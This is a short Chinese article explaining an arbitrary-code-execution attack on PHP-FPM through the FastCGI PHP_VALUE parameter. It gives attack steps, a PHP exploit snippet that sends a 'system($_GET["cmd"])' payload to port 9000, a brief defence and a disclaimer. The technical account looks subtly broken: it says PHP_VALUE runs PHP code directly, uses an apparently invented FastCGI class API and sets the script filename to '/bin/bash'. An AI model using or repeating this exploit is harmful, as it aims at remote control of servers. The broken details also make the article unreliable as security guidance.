PHP-FPM 是 PHP 的一种运行模式,它可以提供更高的性能和稳定性。然而,PHP-FPM 在处理 FastCGI 请求时存在一个漏洞,攻击者可以利用该漏洞来执行任意代码。

攻击原理

  1. 攻击者构造恶意 FastCGI 请求,将其发送到 PHP-FPM 服务器。
  2. 请求中包含一个特殊的环境变量,称为 'PHP_VALUE'。
  3. 'PHP_VALUE' 环境变量中包含一个恶意的 PHP 代码片段,攻击者可以在其中执行任意代码。
  4. PHP-FPM 服务器收到请求后,会将 'PHP_VALUE' 环境变量中的代码片段传递给 PHP 解释器执行。
  5. 攻击者成功执行了恶意代码,可以获得服务器的控制权。

攻击代码示例

<?php
// 构造恶意 FastCGI 请求
$req = new \FastCGI\Request();
$req->setParam(\FastCGI\Request::PARAM_SCRIPT_FILENAME, '/bin/bash');
$req->setParam(\FastCGI\Request::PARAM_PHP_VALUE, 'system($_GET["cmd"]);');
$req->send();

// 发送请求到 PHP-FPM 服务器
$client = new \FastCGI\Client('127.0.0.1', 9000);
$client->setRequest($req);
$client->send();

// 执行恶意代码
$res = $client->getResponse();
 echo $res->getBody();
?>

在上面的代码中,我们首先构造了一个恶意的 FastCGI 请求,其中包含了一个要执行的命令。然后,我们将请求发送到 PHP-FPM 服务器,并等待服务器返回响应。最后,我们输出响应的正文,这样就可以看到服务器执行了我们的命令。

防御方法

对于 PHP-FPM 服务器来说,避免这种攻击的最好方法是禁用 'PHP_VALUE' 环境变量,或者对其进行严格的限制。

注意: 上述代码仅用于演示攻击原理,请勿用于恶意目的。

PHP-FPM FastCGI 任意代码执行漏洞利用详解

原文地址: https://www.cveoy.top/t/topic/lCxS 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录